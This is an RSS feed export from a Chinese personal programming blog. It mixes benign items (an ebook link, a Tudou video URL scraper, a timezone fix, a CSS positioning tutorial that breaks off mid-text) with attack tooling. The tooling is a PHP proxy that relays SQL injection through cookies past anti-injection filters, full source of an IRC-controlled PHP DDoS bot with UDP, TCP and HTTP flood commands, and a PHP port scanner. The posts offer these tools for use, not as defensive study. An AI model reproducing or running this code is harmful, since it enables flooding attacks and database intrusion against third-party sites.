<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[NetKnave 's BLog]]></title> 
<link>http://www.netpk.org/blog/index.php</link> 
<description><![CDATA[黑夜给了我黑色的眼睛,我却用他来寻找美金!]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[NetKnave 's BLog]]></copyright>
<item>
<link>http://www.netpk.org/blog/read.php?474</link>
<title><![CDATA[一些ebook]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[程序学习]]></category>
<pubDate>Thu, 12 Feb 2009 06:18:21 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?474</guid> 
<description>
<![CDATA[ 
	蛋总那发现的<br/><br/><div class="quote"><div class="quote-title">引用</div><div class="quote-content">上传了一些编程,unix,linux下的ebook<br/>720个文件.2.88G<br/>有兴趣的去下载吧.<br/></div></div><br/><br/><br/>http://dandan.us/ebook<br/><br/>Tags - <a href="http://www.netpk.org/blog/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.netpk.org/blog/tag.php?tag=unix" rel="tag">unix</a> , <a href="http://www.netpk.org/blog/tag.php?tag=linux" rel="tag">linux</a> , <a href="http://www.netpk.org/blog/tag.php?tag=ebook" rel="tag">ebook</a>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?346</link>
<title><![CDATA[挖出土豆网土豆视频FLV文件实际地址]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[程序学习]]></category>
<pubDate>Fri, 21 Dec 2007 14:36:40 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?346</guid> 
<description>
<![CDATA[ 
	来源：独来读网<br/>转自：鬼仔&#039;s Blog<br/><br/>功能：挖出土豆网土豆视频FLV文件实际地址<br/>演示：http://www.51du.cn/tudou.php<br/><br/>PHP源码： <br/><br/>&lt;? <br/>/* <br/>e.g http://www.51du.cn/tudou.php <br/>*/ <br/>ini_set(&quot;display_errors&quot;,0); <br/>?&gt; <br/>&lt;title&gt;挖土豆-独来读网&lt;/title&gt; <br/>&lt;form method=&quot;get&quot; action=&quot;&quot;&gt;土豆播放页地址:&lt;input type=&quot;text&quot; value=&quot;&lt;? echo $q;?&gt;&quot; name=&quot;q&quot; /&gt;&lt;input type=&quot;submit&quot; value=&quot;挖土豆喽!&quot; /&gt;&lt;/form&gt; <br/>&lt;?php <br/>$q=urldecode($_GET[&#039;q&#039;]); <br/>if(!emptyempty($_GET[&#039;q&#039;])) &#123; <br/>htmlentities($_GET[&#039;q&#039;]); <br/>$html = file_get_contents($q); <br/>preg_match(&#039;/&lt;TITLE&gt;(.*?)- 视频/i&#039;,$html,$t); <br/>preg_match(&#039;/iid=(&#92;d+)/&#039;,$html,$m); <br/>$html=file_get_contents(&#039;http://www.tudou.com/player/v.php?id=&amp;#39;.$m[1]); <br/>preg_match(&#039;/http:(.*?)&#92;.flv/i&#039;,$html,$m); <br/><br/>//$flv = $m[1]; <br/>if (emptyempty($m[1])) &#123; <br/>echo &quot;挖不出来,如果输入的地址正确,请再挖挖!&quot;; <br/>&#125; <br/>else &#123; <br/>echo &quot;&lt;b&gt;&quot;.$t[1].&quot;&lt;/b&gt;&quot;.&quot;挖出来了,FLV地址是:&lt;br /&gt;&quot;.$m[0]; <br/>&#125; <br/>&#125; <br/>else &#123; <br/>echo &#039;请输入观看页面的网址:例如&quot;http://www.tudou.com/programs/view/vZriVsqk-xc/&quot;&#039;; <br/>&#125; <br/>?&gt; 
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?335</link>
<title><![CDATA[cookies注入加速工具-PHP版]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[程序学习]]></category>
<pubDate>Tue, 20 Nov 2007 16:13:16 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?335</guid> 
<description>
<![CDATA[ 
	&lt;?php<br/><br/>/*<br/><br/>cookies 注入也加速 工具 PHP版<br/><br/>by 职业欠钱<br/><br/>最近遇到一个挂了防注入的东东，COOKIE注入可行，不过手工注入太辛苦了，便四处寻找加速工具<br/><br/>mika的工具依赖于SQL 错误开启的模式，而我遇到的这个是不显示错误信息的<br/><br/>只能够盲注了。<br/><br/>曾经找到一个ASP版的加速工具，其原理是将GET变量放到COOKIE里，然后调用XML去访问注入页面<br/><br/>将返回信息显示出来<br/><br/>这样的好处是可以用NBSI之类的常规注入工具进行检测<br/><br/>不过也许人品不好，我在用ASP版的加速工具的时候，什么也没返回<br/><br/>所以便有了这个简陋的PHP程序<br/><br/>*/<br/><br/>//使用方法:<br/><br/>//修改相关参数后,将本文件放到一个支持PHP的空间上<br/><br/>//把http://www.yousite.com/cookieinject.php?id=123<br/><br/>//填写到NBSI等注入工具中即可<br/><br/>error_reporting(7);<br/><br/>ini_set(&quot;max_execution_time&quot;,0);<br/><br/>$id=$_GET[&quot;id&quot;];<br/><br/>$id=str_replace(&quot; &quot;,&quot;%20&quot;,$id);<br/><br/>$id=str_replace(&quot;=&quot;,&quot;%3D&quot;,$id);<br/><br/>/*<br/><br/>articleId 换成注入页面的变量<br/><br/>例如 http://127.0.0.1/news.asp?articleId=123<br/><br/>注入变量就是articleId<br/><br/>*/<br/><br/>$inject=&quot;articleId&quot;;<br/><br/>//session是原来的COOKIE,可以自己抓包获取<br/><br/>$session =&quot;ASPSESSIONIDSCBRDARD=AAGHANMCCHBPLDNPCIMFOLPI;&quot;;<br/><br/>$cookie=$inject.&quot;=&quot;.$id.&quot;;&quot;.$session;<br/><br/>//echo $cookie;<br/><br/>//referer 是引用页地址,一般和目标网站相同<br/><br/>$referer=&quot;http://127.0.0.1/&quot;;<br/><br/>//url是注入页面的地址,注意这里不要再把注入变量写进去<br/><br/>$url=&quot;http://127.0.0.1/news.asp&quot;;<br/><br/>$curl=curl_init();<br/><br/>curl_setopt($curl,CURLOPT_HEADER,0);<br/><br/>curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);<br/><br/>curl_setopt($curl,CURLOPT_REFERER,$referer);<br/><br/>curl_setopt($curl,CURLOPT_URL,$url);<br/><br/>curl_setopt($curl,CURLOPT_COOKIE,$cookie);<br/><br/>$content=curl_exec($curl);<br/><br/>//这一句是为了把图片和iframe的相对地址改为绝对地址,根据需要可以注释掉<br/><br/>$content=str_replace(&quot;src=&#92;&quot;&quot;,&quot;src=&#92;&quot;&quot;.$referer,$content);<br/><br/>echo $content;<br/><br/>?&gt;
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?315</link>
<title><![CDATA[PHP DDoS Bot源码]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[程序学习]]></category>
<pubDate>Tue, 23 Oct 2007 03:37:30 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?315</guid> 
<description>
<![CDATA[ 
	来源：amxku's blog<br/><div class="code">&lt;?php<br/>/*<br/>PHP ddos bot<br/>Version 1.0<br/>*/<br/>$server=&quot;1.3.3.7&quot;;<br/>$Port=&quot;6667&quot;;<br/>$nick=&quot;bot-&quot;;$willekeurig;<br/>$willekeurig=mt_rand(0,3);<br/>$nicknummer=mt_rand(100000,999999);<br/>$Channel=&quot;#WauShare&quot;;<br/>$Channelpass=&quot;ddos&quot;;<br/>$msg=&quot;Farewell.&quot;;<br/><br/>set_time_limit(0);<br/>$loop = 0; $verbonden = 0;<br/>$verbinden = fsockopen($server, $Port);<br/><br/>while ($read = fgets($verbinden,512)) &#123;<br/><br/>$read = str_replace(&quot;&#92;n&quot;,&quot;&quot;,$read); $read = str_replace(&quot;&#92;r&quot;,&quot;&quot;,$read);<br/>$read2 = explode(&quot; &quot;,$read);<br/><br/>if ($loop == 0) &#123;<br/>fputs($verbinden,&quot;nick $nick$nicknummer&#92;n&#92;n&quot;);<br/>fputs($verbinden,&quot;USER cybercrime 0 * :woopie&#92;n&#92;n&quot;);<br/>&#125;<br/><br/>if ($read2&#91;0&#93; == &quot;PING&quot;) &#123; fputs($verbinden,&#039;PONG &#039;.str_replace(&#039;:&#039;,&#039;&#039;,$read2&#91;1&#93;).&quot;&#92;n&quot;); &#125;<br/><br/>if ($read2&#91;1&#93; == 251) &#123;<br/>fputs($verbinden,&quot;join $Channel $Channelpass&#92;n&quot;);<br/>$verbonden++;<br/>&#125;<br/><br/>if (eregi(&quot;bot-op&quot;,$read)) &#123;<br/>fputs($verbinden,&quot;mode $Channel +o $read2&#91;4&#93;&#92;n&quot;);<br/>&#125;<br/><br/>if (eregi(&quot;bot-deop&quot;,$read)) &#123;<br/>fputs($verbinden,&quot;mode $Channel -o $read2&#91;4&#93;&#92;n&quot;);<br/>&#125;<br/><br/>if (eregi(&quot;bot-quit&quot;,$read)) &#123;<br/>fputs($verbinden,&quot;quit :$msg&#92;n&#92;n&quot;);<br/>break;<br/>&#125;<br/><br/>if (eregi(&quot;bot-join&quot;,$read)) &#123;<br/>fputs($verbinden,&quot;join $read2&#91;4&#93;&#92;n&quot;);<br/>&#125;<br/><br/>if (eregi(&quot;bot-part&quot;,$read)) &#123;<br/>fputs($verbinden,&quot;part $read2&#91;4&#93;&#92;n&quot;);<br/>&#125;<br/><br/>if (eregi(&quot;ddos-udp&quot;,$read)) &#123;<br/>fputs($verbinden,&quot;privmsg $Channel :ddos-udp - started udp flood - $read2&#91;4&#93;&#92;n&#92;n&quot;);<br/>$fp = fsockopen(&quot;udp://$read2&#91;4&#93;&quot;, 500, $errno, $errstr, 30);<br/>if (!$fp)<br/>&#123;<br/>//echo &quot;$errstr ($errno)&lt;br&gt;&#92;n&quot;; //troep<br/>exit;<br/>&#125;<br/>else<br/>&#123;<br/>$char = &quot;a&quot;;<br/>for($a = 0; $a &lt; 9999999999999; $a++)<br/>$data = $data.$char;<br/><br/>if(fputs ($fp, $data) )<br/>fputs($verbinden,&quot;privmsg $Channel :udp-ddos - packets sended.&#92;n&#92;n&quot;);<br/>else<br/>fputs($verbinden,&quot;privmsg $Channel :udp-ddos - &lt;error&gt; sending packets.&#92;n&#92;n&quot;);<br/>&#125;<br/>&#125;<br/><br/>if (eregi(&quot;ddos-tcp&quot;,$read)) &#123;<br/>fputs($verbinden,&quot;part $read2&#91;4&#93;&#92;n&quot;);<br/>fputs($verbinden,&quot;privmsg $Channel :tcp-ddos - flood $read2&#91;4&#93;:$read2&#91;5&#93; with $read2&#91;6&#93; sockets.&#92;n&#92;n&quot;);<br/>$server = $read2&#91;4&#93;;<br/>$Port = $read2&#91;5&#93;;<br/><br/>for($sockets = 0; $sockets &lt; $read2&#91;6&#93;; $sockets++)<br/>&#123;<br/>$verbinden = fsockopen($server, $Port);<br/>&#125;<br/>&#125;<br/><br/>if (eregi(&quot;ddos-http&quot;,$read)) &#123;<br/>fputs($verbinden,&quot;part $read2&#91;4&#93;&#92;n&quot;);<br/>fputs($verbinden,&quot;privmsg $Channel :ddos-http - http://$read2&#91;4&#93;:$read2&#91;5&#93; $read2&#91;6&#93; times&#92;n&#92;n&quot;);<br/>$Webserver = $read2&#91;4&#93;;<br/>$Port = $read2&#91;5&#93;;<br/><br/>$Aanvraag = &quot;GET / HTTP/1.1&quot;;<br/>$Aanvraag .= &quot;Accept: */*&quot;;<br/>$Aanvraag .= &quot;Accept-Language: nl&quot;;<br/>$Aanvraag .= &quot;Accept-Encoding: gzip, deflate&quot;;<br/>$Aanvraag .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)&quot;;<br/>$Aanvraag .= &quot;Host: $read2&#91;4&#93;&quot;;<br/>$Aanvraag .= &quot;Connection: Keep-Alive&quot;;<br/><br/>for($Aantal = 0; $Aantal &lt; $read2&#91;6&#93;; $Aantal++)<br/>&#123;<br/>$DoS = fsockopen($Webserver, $Port);<br/>fwrite($DoS, $Aanvraag);<br/>fclose($DoS);<br/>&#125;<br/>&#125;<br/>$loop++;<br/><br/>&#125;<br/>?&gt; <br/></div>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?309</link>
<title><![CDATA[一个简单的php在线端口扫描器]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[程序学习]]></category>
<pubDate>Thu, 18 Oct 2007 09:56:44 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?309</guid> 
<description>
<![CDATA[ 
	PHP是一种功能强大的Web开发语言。开发效率高，语法简单，为动态网站量身定做，加强面向对象（向C 靠拢，与JAVA搭了点边），可惜单线程（这是至命弱点，据说PHP是用C&#92;C 编写的。），也能用C、C 、JAVA开发中间层，调用COM，服务器维护难度小，故障少。 <br/><br/>　　既然是为动态网站量身定做，所以注定不能开发出X-scan这样的超强扫描器，不过如果要实现一些简单的功能，还是绰绰有余的。 <br/><br/>　　端口扫描是我们最常用的踩点手段。如果在网吧这种地方，下载一个专门的扫描器又比较麻烦，如果利用现有的Web服务提供的端口扫描。那可真的是省了不少事。 <br/><br/>　　下面我们就看看我写的这个PHP端口扫描器的源代码： <br/><div class="code">&lt;?php <br/><br/>$youip=$HTTP_SERVER_VARS&#91;&quot;REMOTE_ADDR&quot;&#93;; // 获取本机IP地址 <br/><br/>$remoteip=$HTTP_POST_VARS&#91;&#039;remoteip&#039;&#93;; // 获取表单提交的IP地址 <br/><br/>?&gt; <br/><br/>&lt;html&gt; <br/><br/>&lt;head&gt; <br/><br/>&lt;title&gt;端口在线检测&lt;/title&gt; <br/><br/>&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=gb2312&quot;&gt; <br/><br/><br/>&lt;style TYPE=&quot;text/css&quot;&gt; <br/><br/>&lt;!-- <br/><br/>BODY &#123; FONT-SIZE: 12px; FONT-FAMILY: Verdana;color:#000000; <br/><br/>&#125; <br/><br/>TD &#123; <br/><br/>FONT-SIZE: 12px; <br/><br/>FONT-FAMILY: Verdana; <br/><br/>color:#000000; <br/><br/>line-height: 14px; <br/><br/>&#125; <br/><br/>.style1 &#123;color: #FFFFFF&#125; <br/><br/>--&gt; <br/><br/>&lt;/style&gt; <br/><br/>&lt;/head&gt; <br/><br/>&lt;body&gt; <br/><br/>&lt;center&gt; <br/><br/>&lt;?php <br/><br/>if (!empty($remoteip))&#123; <br/><br/>// 如果表单不为空就进入IP地址格式的判断 <br/>function err() &#123; <br/><br/>die(&quot;对不起，该IP地址不合法&lt;p&gt;&lt;a href=javascript:history.back(1)&gt;点击这里返回&lt;/a&gt;&quot;); <br/><br/><br/>&#125; <br/><br/>// 定义提交错误IP的提示信息 <br/>$ips=explode(&quot;.&quot;,$remoteip); <br/><br/>// 用.分割IP地址 <br/>if (intval($ips&#91;0&#93;)&lt;1 or intval($ips&#91;0&#93;)&gt;255 or intval($ips&#91;3&#93;)&lt;1 <br/>or intval($ips&#91;3&#93;&gt;255)) err(); <br/><br/>// 如果第一段和最后一段IP的数字小于1或者大于255，则提示出错 <br/>if (intval($ips&#91;1&#93;)&lt;0 or intval($ips&#91;1&#93;)&gt;255 or intval($ips&#91;2&#93;)&lt;0 <br/>or intval($ips&#91;2&#93;&gt;255)) err(); <br/><br/>// 如果第二段和第三段IP的数字小于0或者大于255，则提示出错 <br/>$closed=&#039;此端口目前处于关闭状态。www.knowsky.com&#039;; <br/><br/>$opened=&#039;&lt;font color=red&gt;此端口目前处于打开状态！&lt;/font&gt;&#039;; <br/><br/>$close=&quot;关闭&quot;; <br/><br/>$open=&quot;&lt;font color=red&gt;打开&lt;/font&gt;&quot;; <br/><br/>$port=array(21,23,25,79,80,110,135,137,138,139,143,443,445,1433,3306,3389); <br/><br/><br/>$msg=array( <br/><br/>&#039;Ftp&#039;, <br/><br/>&#039;Telnet&#039;, <br/><br/>&#039;Smtp&#039;, <br/><br/>&#039;Finger&#039;, <br/><br/>&#039;Http&#039;, <br/><br/>&#039;Pop3&#039;, <br/><br/>&#039;Location Service&#039;, <br/><br/>&#039;Netbios-NS&#039;, <br/><br/>&#039;Netbios-DGM&#039;, <br/><br/>&#039;Netbios-SSN&#039;, <br/><br/>&#039;IMAP&#039;, <br/><br/>&#039;Https&#039;, <br/><br/>&#039;Microsoft-DS&#039;, <br/><br/>&#039;MSSQL&#039;, <br/><br/>&#039;MYSQL&#039;, <br/><br/>&#039;Terminal Services&#039; <br/><br/>); <br/><br/>// 通过IP格式的检查后用数组定义各端口对应的服务名称及状态 <br/>echo &quot;&lt;table border=0 cellpadding=15 cellspacing=0&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;tr&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;td align=center&gt;&lt;strong&gt;您扫描的IP：&lt;font <br/><br/>color=red&gt;&quot;.$remoteip.&quot;&lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;&#92;n&quot;; <br/><br/><br/>echo &quot;&lt;/tr&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;/table&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;table cellpadding=5 cellspacing=1 bgcolor=#636194&gt;&#92;n&quot;; <br/><br/><br/>echo &quot;&lt;tr bgcolor=#7371A5 align=center&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;td&gt;&lt;span class=style1&gt;端口&lt;/span&gt;&lt;/td&gt;&#92;n&quot;; <br/><br/><br/>echo &quot;&lt;td&gt;&lt;span class=style1&gt;服务&lt;/span&gt;&lt;/td&gt;&#92;n&quot;; <br/><br/><br/>echo &quot;&lt;td&gt;&lt;span class=style1&gt;检测结果&lt;/span&gt;&lt;/td&gt;&#92;n&quot;; <br/><br/><br/>echo &quot;&lt;td&gt;&lt;span class=style1&gt;描述&lt;/span&gt;&lt;/td&gt;&#92;n&quot;; <br/><br/><br/>echo &quot;&lt;/tr&gt;&#92;n&quot;; <br/><br/>// 输出显示的表格 <br/>for($i=0;$i&lt;sizeof($port);$i ) <br/><br/>&#123; <br/><br/>$fp = @fsockopen($remoteip, $port&#91;$i&#93;, &amp;$errno, &amp;$errstr, 1); <br/><br/>if (!$fp) &#123; <br/><br/>echo &quot;&lt;tr bgcolor=#FFFFFF&gt;&lt;td align=center&gt;&quot;.$port&#91;$i&#93;.&quot;&lt;/td&gt;&lt;td&gt;&quot;.$msg&#91;$i&#93;.&quot;&lt;/td&gt;&lt;td <br/><br/><br/>align=center&gt;&quot;.$close.&quot;&lt;/td&gt;&lt;td&gt;&quot;.$closed.&quot;&lt;/td&gt;&lt;/tr&gt;&#92;n&quot;; <br/><br/><br/>&#125; else &#123; <br/><br/>echo &quot;&lt;tr bgcolor=#F4F7F9&gt;&lt;td align=center&gt;&quot;.$port&#91;$i&#93;.&quot;&lt;/td&gt;&lt;td&gt;&quot;.$msg&#91;$i&#93;.&quot;&lt;/td&gt;&lt;td <br/><br/><br/>align=center&gt;&quot;.$open.&quot;&lt;/td&gt;&lt;td&gt;&quot;.$opened.&quot;&lt;/td&gt;&lt;/tr&gt;&quot;; <br/><br/><br/>&#125; <br/><br/>&#125; <br/><br/>// 用for语句，分别用fsockopen函数连接远程主机的相关端口，并输出结果 <br/>echo &quot;&lt;tr&gt;&lt;td colspan=4 align=center&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;a href=portscan.php&gt;&lt;font color=#FFFFFF&gt;继续扫描&gt;&gt;&gt;&lt;/font&gt;&lt;/a&gt;&lt;/td&gt;&#92;n&quot;; <br/><br/><br/>echo &quot;&lt;/tr&#92;n&quot;; <br/><br/>echo &quot;&lt;/table&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;TABLE cellSpacing=0 cellPadding=10 width=100% border=0&gt;&#92;n&quot;; <br/><br/><br/>echo &quot;&lt;TR&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;TD align=center&gt;&lt;b&gt;Copyright &amp;copy; 2004 Security <br/>Angel Team&#91;S4T&#93; All Rights Reserved.&lt;/b&gt;&lt;/TD&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;/TR&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;/TABLE&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;/center&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;/body&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;/html&gt;&#92;n&quot;; <br/><br/>exit; <br/><br/>&#125; <br/><br/>// 探测结束 <br/>echo &quot;&lt;table border=0 cellpadding=15 cellspacing=0&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;tr&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;td align=center&gt;&lt;strong&gt;您的IP：&lt;font color=red&gt;&quot;.$youip.&quot;&lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;&#92;n&quot;; <br/><br/><br/>echo &quot;&lt;/tr&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;form method=POST action=portscan.php&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;tr&gt;&lt;td&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;input type=text name=remoteip size=12&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;input type=submit value=扫描 name=scan&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;/td&gt;&lt;/tr&gt;&#92;n&quot;; <br/><br/>echo &quot;&lt;/form&gt;&quot;; <br/><br/>echo &quot;&lt;/table&gt;&#92;n&quot;; <br/><br/>// 如果表单为空则显示提交IP地址的表单 <br/>?&gt; <br/>&lt;TABLE cellSpacing=0 cellPadding=10 width=&quot;100%&quot; border=0&gt; <br/><br/><br/>&lt;TR&gt; <br/><br/>&lt;TD align=center&gt;&lt;b&gt;Copyright &amp;copy; 2004 Security Angel Team&#91;S4T&#93; <br/>All Rights Reserved.&lt;/b&gt;&lt;/TD&gt; <br/><br/>&lt;/TR&gt; <br/><br/>&lt;/TABLE&gt; <br/><br/>&lt;/center&gt; <br/><br/>&lt;/body&gt; <br/><br/>&lt;/html&gt;<br/><br/></div><br/>后记 <br/><br/>　　这个扫描器很简单。就是用了一个数组来定义端口的相关信息，原理就是用fsockopen函数连接，如果可以连接，就表示端口打开，否则就是关闭。 <br/><br/>　　最大的缺点就是PHP是单线程的，所以速度会很慢，这个是用方便、简单作为代价的，其实写这个代码的就是想告诉大家，PHP并不仅仅用于动态网站的开发，也可以用于网络安全领域，往往太注意事物的本职工作，就会忽略其他方面的特点。<br/>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?301</link>
<title><![CDATA[php时间相差8个小时解决方案]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[程序学习]]></category>
<pubDate>Sat, 06 Oct 2007 06:30:12 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?301</guid> 
<description>
<![CDATA[ 
	方法1：<br/>echo $date=date('Y-m-d').(date('H')+8).date(':i:s');<br/>方法2：<br/><br/>date_default_timezone_set('Asia/Shanghai');<br/>echo $date=date('Y-m-d H:i:s');<br/>方法3：<br/>修改php.ini<br/>;date.timezone =<br/>修改为<br/>date.timezone = PRC或者date.timezone =Asia/shanghai<br/>重新启动apache服务器就OK了；<br/>Tags - <a href="http://www.netpk.org/blog/tag.php?tag=php%252C8%25E5%25B0%258F%25E6%2597%25B6" rel="tag">php,8小时</a>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?264</link>
<title><![CDATA[CSS单元的位置和层次-div标签]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[程序学习]]></category>
<pubDate>Mon, 03 Sep 2007 08:08:12 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?264</guid> 
<description>
<![CDATA[ 
	CSS单元的位置和层次-div标签<br/><br/>文章作者：DuSDong<br/>责任编辑：大鱼　录入时间：2004-11-4 21:25:13 来源：DuSDong的专栏<br/>频道声明：本频道的文章除部分特别声明禁止转载的专稿外，可以自由转载.但请务必注明出出处和原始作者 文章版权归本频道与文章作者所有.对于被频道转载文章的个人和网站,我们表示深深的谢意.<br/><br/><br/>CSS单元的位置和层次-div标签<br/>　　我们都知道，在网页上利用HTML定位文字和图象是一件“令人心痛”的事情。我们必须使用表格标签和隐式GIF图象，即使这样也不能保证定位的精确，因为浏览器和操作平台的不同会使显示的结果发生变化。<br/>　　而CSS能使你看到希望的曙光。利用今天我们即将学到的CSS属性，你可以精确地设定要素的位置，还能将定位的要素叠放在彼此之上，还有...还有......你自己慢慢看吧！<br/>　　Cascading Style Sheets（CSS）是 DHTML 的基础。CSS 用来设定你网页上的元素是如何展示的。Cascading Style Sheets Positioning（CSS-P）是 CSS 的一个扩展，它可用来控制任何东西在网页上或是说在窗口中的位置。请你记住这两个名词：CSS 和 CSS－P。下面四个英文网址提供了详细的关于 CSS 和 CSS-P 的文件和解释。<br/>　● 1．使用 DIV 标签 （div）<br/><br/>　　当我们使用 CSS-P 的时候，我们主要把它用在 DIV（division）tag 上。当你把文字，图象，或其他的放在 DIV 中，它可称作为“DIV block”，或“DIV element”或“CSS-layer”，或干脆叫“layer”。而中文我们把它称作“层次”。所以当你以后看到这些名词的时候，你就知道它们是指一段在 DIV 中的 HTML。<br/>　　使用 DIV 的方法跟使用其他 tag 的方法一样：<br/>　　　　&lt;DIV&gt;This is a DIV tag .&lt;/DIV&gt;<br/>　　如果单独使用 DIV 而不加任何 CSS-P, 那么它在网页中的效果和使用 &lt;P&gt;&lt;/P&gt; 是一样的。<br/>　　但当我们把 CSS-P 用到 DIV 中去以后，我么就可以严格设定它的位置。首先我们需要给这个可以被 CSS-P 控制的 DIV 一个 ID 或说是它的名字。比如说我们给下面这个 DIV 的名字是 truck。给名字的目的是我们以后可用 JavaScript 来控制它，比如说移动它或改变它的一些性质等等。<br/>　　　　&lt;DIV ID=&quot;truck&quot;&gt;<br/>　　　　This is a truck<br/>　　　　&lt;/DIV&gt;<br/>　　给层次取什么名字是随意的，名字可以是任何英文字母和数字，但第一个必须是字母。有两种把 CSS-P 应用到 DIV 的方法。<br/>　　Inline CSS：Inline 是最常用的方法。<br/>　　　　&lt;DIV ID=&quot;truck&quot; STYLE=&quot;styles go here&quot;&gt;<br/>　　　　This is a truck .<br/>　　　　&lt;/DIV&gt;<br/>　　External STYLE tag：使用 External 方法的结果是一样的。我们会在以后的课程里再详细解释这种方法。现在我们主要讨论Inline 方法。请注意在 External 方法里，在 STYLE 里的 ID 和 DIV 里的关系。<br/>　　　　&lt;STYLE TYPE=&quot;text/css&quot;&gt;<br/>　　　　&lt;!--　#truck &#123;styles go here&#125;　--&gt;<br/>　　　　&lt;/STYLE&gt;<br/>　　　　&lt;DIV ID=&quot;truck&quot;&gt;This is a truck .&lt;/DIV&gt;<br/><br/>　　Cross-Browser CSS 性质：<br/>　　我们这个课程的主要目的是让你写出的网页在 NS4 和 IE4 上都能工作， 所以我们主要讨论那些对俩者都通用的性质。下面这些性质符合由 W3C 给出的标准。<br/><br/>position　决定 DIV tag 是如何放置的。“relative”意思是DIV的位置是相对于其他 tag 的，而“absolute”是说 DIV tag 的位置是相对于它所在的窗口。<br/>left　相对于窗口左边的位置<br/>top　相对于窗口上边的位置<br/>width　DIV tag 的宽度。所有在 DIV 里的文字或html都在里面。<br/>height　DIV tag 的高度。这个性质很少用除非你想 Clip 层次。<br/>clip　给出 layer 的 clipping（可看的见的）部分。Clip 可使得 DIV 显示为一个可以定义的很准确的方块。你可以用以下的四个值来给出这个方块的在 DIV 位置和大小。<br/>clip:rect(top,right,bottom,left);<br/>visibility　隐蔽或展现DIV 根据它的值“visible”，“hidden”，“inherit”。<br/>z-index　DIV tag 的立体位置。值越大 DIV 的位置越高。<br/>background-color　DIV 背景的颜色。<br/>layer-background-color　Netscape 的 DIV 背景颜色。<br/>background-image　DIV 的背景图象。<br/>layer-background-image　Netscape 的 DIV 的背景图象。<br/>　● 2．绝对定位和相对定位 （position）<br/><br/>　　绝对定位：<br/>　　定位属性将是网虫们打开幸福之门的钥匙：<br/>　　H4 &#123; position: absolute; left: 100px; top: 43px &#125;<br/>　　这项CSS规则让浏览器将&lt;H4&gt;的起始位置精确地定在距离浏览器左边100象素，距离其顶部43象素的位置。注意这里唯一设置了的是左边和顶部，也就说，文字将从左到右，从上到下载入浏览窗口。<br/>　　左边和顶部属性很直观，左边（left）设定要素距浏览器窗口左边的距离，顶部（top）设定距离浏览器窗口顶部的距离。设定这些距离时，你可以使用所学过的各种度单位或比例值。使用比例值时，比例值的是相对于母体要素的尺寸。<br/>　　你可以定位什么呢？任何东西！段落、单词、GIF和JPEG图象、QUICKTIME电影等等。<br/>　　相对定位：<br/>　　绝对定位使你能精确地定位要素在页面的独立位置，而不考虑页面其它要素的定位设置。相对定位指你所定位的要素的位置相对于在文件中所分配的位置。例：<br/>　　I &#123; position: relative; left: 40px; top: 10px &#125;<br/>　　相对定位的关键在于定位了的要素的位置是相对于它通常应在的位置进行定位。相对定位单元出现在普通的静态定位单元的行间，定位时没有把自己和静态定位单元完全分开。如果你停止使用相对定位，则文字的显示位置将恢复正常。使用相对定位时要小心，否则容易将页面弄得非常乱。<br/>　　除了相对定位和绝对定位，你还可以使用static（静止）参数值。Static 是 position 特性的缺省值。它的使用方法同普通HTML中的定位方法，不能附加特殊的定位设置。也就是说，除了边距特性，或通过使用 float 特性来浮动单元可影响单元的定位外，其它均不可以。<br/><br/>　● 3．定位单元的控制 （width、height、visiblility）<br/><br/>　　除了控制定位单元的左上角位置，你还可以控制单元的宽度和高度，及单元在页面的可视性。<br/><br/>　　宽度：定位了的要素在页面上显示时仍然会从左到右一直显示。利用宽度属性就可以设定字符向右流动的限制，即设定要素的宽度。<br/>　　DIV &#123; position: absolute; left: 200px; top: 40px; width: 150px &#125;<br/>　　浏览器接到这项规则时，它将文字按照规则规定的效果显示，还将段落的最大水平尺寸限制在150象素。<br/>　　